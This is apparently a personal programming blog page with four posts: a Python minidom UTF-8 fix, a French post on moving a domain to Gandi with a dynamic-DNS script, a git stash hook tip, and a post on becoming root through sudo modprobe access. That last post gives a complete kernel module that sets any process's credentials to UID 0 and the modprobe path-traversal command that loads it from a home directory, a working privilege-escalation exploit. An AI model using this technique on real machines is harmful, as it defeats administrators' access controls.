Programmation

How to load UTF8 data with python minidom ?

Wednesday, 22 August 2012
|
Écrit par
Grégory Soutadé

For the dynastie project, I need to load data encoded in UTF-8 with Python minidom XML parser. But when I wrote node.toxml('utf-8') to display the XML tree, I get this error :

UnicodeDecodeError at /generate/1

'ascii' codec can't decode byte 0xc2 in position 187: ordinal not in range(128)

In facts Python thinks that all data in XML tree are in ASCII and try to encode it into UTF-8 (or anything else you supplied). The solution is to use your own writer that will convert all non utf-8 strings in unicode string which can be then re-encoded in every format (like utf-8). This doesn't appears in Python 3 because, in Python 3, all strings are already in unicode. Add the following class to your code :

class UnicodeWriter(codecs.StreamWriter): encode = codecs.utf_8_encode def __init__(self): self.value = u'' def write(self, object): if not type(object) == unicode: self.value = self.value + unicode(object, 'utf-8') else: self.value = self.value + object return self.value def reset(self): self.value = u'' def getvalue(self): return self.value

And our node.toxml('utf-8') becomes :

writer = UnicodeWriter() node.writexml(writer) writer.getvalue().encode('utf-8')

Migration chez Gandi

Tuesday, 03 July 2012
|
Écrit par
Grégory Soutadé

Alors que mon certificat SSL expire dans deux mois, OVH m'envoie un mail m'indiquant qu'ils abandonnent la certification SSL. Je trouve dommage de ne plus proposer de certification SSL quand on veut être un acteur majeur de l'Internet... Bref je n'ai pas envie d'avoir deux contrats dans deux sociétés différentes (pour mon certificat et mon nom de domaine), j'ai donc pris la décision (contestable) de tout migrer chez Gandi. À la base je voulais m'enregistrer chez Gandi car ils ont une bonne renommée, mais j'ai finalement choisi OVH. La migration s'est faite en huit jours une fois que j'ai eu désactivé la protection du domaine et récupéré la clé secrète chez OVH.

Après quelques jours d'utilisation, je me rend compte qu'OVH est supérieur techniquement à Gandi dans les outils qu'ils proposent, ils sont beaucoup plus simples et intuitifs (même si le support est loin d'être terrible). Bon, une fois configuré, on ne touche plus à rien, mais quand même... Et surtout un GROS manque chez Gandi est qu'ils ne gèrent pas nativement une ip dynamique (DynDNS). Évidemment je m'en suis rendu compte après migration...

La solution proposé sur les forums est de faire pointer un enregistrement IP (A) vers un DynDNS ... ce n'est pas acceptable. Heureusement, après quelques recherches, je découvre que Gandi met a disposition une API XML permettant de manipuler son compte ! Après m'être battu inutilement avec la version OT&E (qui ne permet de rien faire), j'ai finalement réussit à obtenir l'équivalent d'un DynDNS avec un petit script python que l'on mettra en cron :

#!/usr/bin/env python import xmlrpclib import urllib2 import re import sys # # Update Gandi DNS with dynamic IP # # This doesn't work with OT&E platform !! # DEBUG = False zone_to_edit = 'Soutade' apikey = 'Your private API key' api = xmlrpclib.ServerProxy('https://rpc.gandi.net/xmlrpc/') def debug(str): if DEBUG: print str # Get current IP current_ip = '' try: dyndns_url = 'http://checkip.dyndns.com/' f = urllib2.urlopen(dyndns_url) data = f.read() f.close() pattern = re.compile('[^:]*(\d+\.\d+\.\d+\.\d+)') result = pattern.search(data, 0) if result == None: print "No IP found" sys.exit(1) else: current_ip = result.group(0).strip() except urllib2.HTTPError: print "Connexion error" sys.exit(1) debug('Your current IP is \'' + current_ip + '\'') # Update Gandi DNS zones = api.domain.zone.list(apikey, {'name' : zone_to_edit}) if len(zones) == 0: print 'Zone \'' + zone_to_edit + '\' not found' sys.exit(1) zone = zones[0] debug('Zone to be edited') debug(zone) records = api.domain.zone.record.list(apikey, zone['id'], zone['version']) edited = False for record in records: if record['type'] == 'A' and current_ip != record['value']: debug('Edit record') debug(record) record['value'] = current_ip edited = True # Delete all id keys del record['id'] if edited: debug('Edit result') debug(records) if zone['version'] == 1: zone['version'] = 2 else: zone['version'] = 1 debug('New version is ' + str(zone['version'])) api.domain.zone.record.set(apikey, zone['id'], zone['version'], records) api.domain.zone.version.set(apikey, zone['id'], zone['version']) debug('New zone values') debug(api.domain.zone.record.list(apikey, zone['id'], zone['version']))

Le script ne se veut pas générique, mais il fonctionne ! Il faut l'adapter en changeant la clé d'API et le nom de la zone à éditer. Il faut aussi créer deux versions (1 et 2) de la zone à modifier avec au moins un champs A et attacher le nom de domaine à cette zone. On pourra activer les traces en changeant la valeur de DEBUG. Pour info, mes paramètres DNS sont (mode expert) :

@ 1080 IN A 86.193.241.253 * 1080 IN CNAME soutade.fr. @ 1080 IN MX 10 soutade.fr.

La première ligne fait pointer soutade.fr (nom de domaine attaché = @) à une IP que l'on mettra à jour dynamiquement. La seconde ligne fait pointer n'importe quel sous domaine de soutade.fr (blog.soutade.fr par exemple) vers soutade.fr qui point lui même vers une IP. La troisième ligne permet d'indiquer que le serveur mail se trouve également sur l'IP pointée par soutade.fr.

La bonne nouvelle est que j'ai droit à un certificat SSL gratuit pendant un an et le renouvellement de mon nom de domaine pour un an également, le tout pour 15€ ! Je reviendrai peut être chez OVH pour Internet... un jour...

How to become root with modprobe

Tuesday, 12 June 2012
|
Écrit par
Grégory Soutadé

At work we're not root in our machines. This simplify the administrator's works and we don't need to be root for usual tasks. If I need to, I can ask my colleague two desks in front of me. But for a special case I was given modprobe access via sudo. I said to him "If I can use modprobe, I'm root !", he replied "No because modprobe only loads modules from /lib/modules, but this is your challenge !".

Challenge accepted and successfully completed ! I'm running an Ubuntu 10.4 LTS with a 2.6.32-41-generic kernel.

 

Module source

The module was easy to develop (even if it has been a while I havn't do kernel module). It was named beyrouth for "be root", but it's more generic. Indeed you can change UID and GID of any running process !

/* * beyrouth.c - Change task's UID and GID */ #include /* Needed by all modules */ #include /* Needed for KERN_INFO */ #include #include #include #include // Copied from linux/cred.h #define __task_cred(task) \ ((const struct cred *)(rcu_dereference((task)->real_cred))) // Copied from linux/cred.h #define get_task_cred(task) \ ({ \ struct cred *__cred; \ rcu_read_lock(); \ __cred = (struct cred *) __task_cred((task)); \ get_cred(__cred); \ rcu_read_unlock(); \ __cred; \ }) int pid = -1; int uid = -1; int gid = -1; module_param(pid, int, 0); module_param(uid, int, 0); module_param(gid, int, 0); int init_module(void) { struct cred *_cred; struct pid* _pid; struct task_struct* task; printk(KERN_ERR "Hello world\n"); if (pid == -1) { printk(KERN_ERR "PID is missing\n"); return -2; } _pid = find_get_pid(pid); if (!_pid) { printk(KERN_ERR "PID not found\n"); return -3; } task = pid_task(_pid, PIDTYPE_PID); if (!task) { printk(KERN_ERR "Task not found\n"); return -4; } _cred = get_task_cred(task); if (!_cred) { printk(KERN_ERR "Cred not found\n"); return -5; } if (uid != -1) { _cred->uid = uid; _cred->euid = uid; _cred->suid = uid; _cred->fsuid = uid; } else uid = _cred->uid; if (gid != -1) { _cred->gid = gid; _cred->egid = gid; _cred->sgid = gid; _cred->fsgid = gid; } else gid = _cred->gid; commit_creds(_cred); printk(KERN_ERR "New UID %d GID %d\n", uid, gid); // Don't load module return -1; } void cleanup_module(void) { printk(KERN_INFO "Goodbye world\n"); } MODULE_AUTHOR("Grégory Soutadé"); MODULE_DESCRIPTION("Change task's UID and GID"); MODULE_LICENSE("GPL");

The module is GPL because we want to access to GPL exported kernel's functions. Maybe it's not the most elegant way to do, but it works for now. It came with its Makefile :

obj-m += beyrouth.o all: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules clean: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

Modpost error

This pretty compile on a Debian VM. But with Ubuntu I have this f***ing error :

Building modules, stage 2. MODPOST 0 modules

There is no resource on the net to bypass this compilation error.

ONE SOLUTION : I had "-n" switch activated in my GREP_OPTIONS (exported by .bashrc). Disable this swtich make the compilation works again !!

OLD ISSUE : The only issue seems to do a "make modules_prepare" on kernel sources, but I'm not root (for now) !! The solution is to copy kernel headers (take care of symbolic links)

mkdir linux cp -r /lib/modules/2.6.32-41-generic/ linux cp -r /usr/src/linux-headers-2.6.32-41* linux cd linux/2.6.32-41-generic/ rm build ln -s ../linux-headers-2.6.32-41-generic/ build cd -

Edit your Makefile to change kernel header's root

make -C ./linux/$(shell uname -r)/build M=$(PWD) modules

Edit ./linux/2.6.32-41-generic/build/scripts/Makefile.modpost, change modules rules by :

modules := $(MODVERDIR)/../beyrouth.ko

Now you can run make, and it works !!! It's not sexy, I know...

Building modules, stage 2. MODPOST 1 modules

Modprobe

The second problem is that modprobe looks for modules in /lib/modules/`uname -r`. The first thing to do is to create modules.dep beside beyrouth.o with :

beyrouth.ko:

After that you can open a new terminal and do "ps -o pid,user,group,args" :

PID USER GROUP COMMAND 13209 soutade soutade bash 13231 soutade soutade ps -o pid,user,group,args

Finally change kernel's version for modprobe to change kernel's module path :

sudo modprobe --set-version ../../home/soutade/beyrouth/ beyrouth pid=13209 uid=0 gid=0 FATAL: Error inserting beyrouth (/lib/modules/../../home/soutade/beyrouth

"Operation not permitted" is a valid return because we don't want to insert beyrouth.ko into kernel. dmesg tells us :

[533621.707288] Hello world [533621.707293] New UID 0 GID 0

And "ps -o pid,user,group,args"

PID USER GROUP COMMAND 13209 root root bash 13236 root root ps -o pid,user,group,args

I now have a root terminal, even if I won't use it !

Git checkout and stash list

Monday, 21 May 2012
|
Écrit par
Grégory Soutadé

Git is great, it's true. I don't wanna enhance this scm but introduce a little tip. In git, local branches are cheap, thus a common work flow is to create branches for everything. But you cannot switch from one branch to another if there are some modifications on your code and the first thing you does when a colleague ask you to test quickly something is to stash your work and do a checkout. The problem appears when you come back to your original branch two days later (because this silly bug was hard to fix) and you've forgotten that there is something in the stash list !

The tip of the day is a post-checkout's hook script that will show stashes pending to current branch after a checkout. Here I used a hook script because stashes are implemented by a bash script, so there is no API to properly access in C language. Plus, a modification in internals git code must be maintained by hand.

The first thing is to create a template repository. As described in this question on stack overflow, we'll create a global hook directory in our home, so every git repository will have access to it :

git config --global init.templatedir '~/.git_template' mkdir -p ~/.git_template/hooks touch ~/.git_template/hooks/post-checkout chmod a+x ~/.git_template/hooks/post-checkout

Then you can edit post-checkout with :

#!/bin/sh # # Git post checkout hook # Parameters # cur_branch=`git branch | grep '\*' | awk '{print $2}'` git stash list | GREP_OPTIONS="" \grep "[oO]n $cur_branch:"

Now after each "git checkout" you'll be noticed if there are pending stashes in the current branch !